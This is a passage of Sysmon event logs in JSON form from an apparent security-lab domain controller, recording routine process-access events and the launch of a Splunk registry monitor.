C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:39.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6003,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:39.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:39.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6004,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:39.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:39.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6005,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:39.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:39.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6006,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:39.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:39.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6007,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:39.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:39.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6008,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:39.714\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-41B3-5F2D-0000-001080ED0800}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:39.714","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-41B3-5F2D-0000-001080ED0800}","TargetProcessId":"3768","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6009,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:39.854\r\nSourceProcessGUID: {90617006-41B3-5F2D-0000-001080ED0800}\r\nSourceProcessId: 3768\r\nSourceThreadId: 3152\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:39.854","SourceProcessGUID":"{90617006-41B3-5F2D-0000-001080ED0800}","SourceProcessId":"3768","SourceThreadId":"3152","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6010,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.417\r\nProcessGuid: {90617006-41B4-5F2D-0000-001041EF0800}\r\nProcessId: 4248\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.417","ProcessGuid":"{90617006-41B4-5F2D-0000-001041EF0800}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 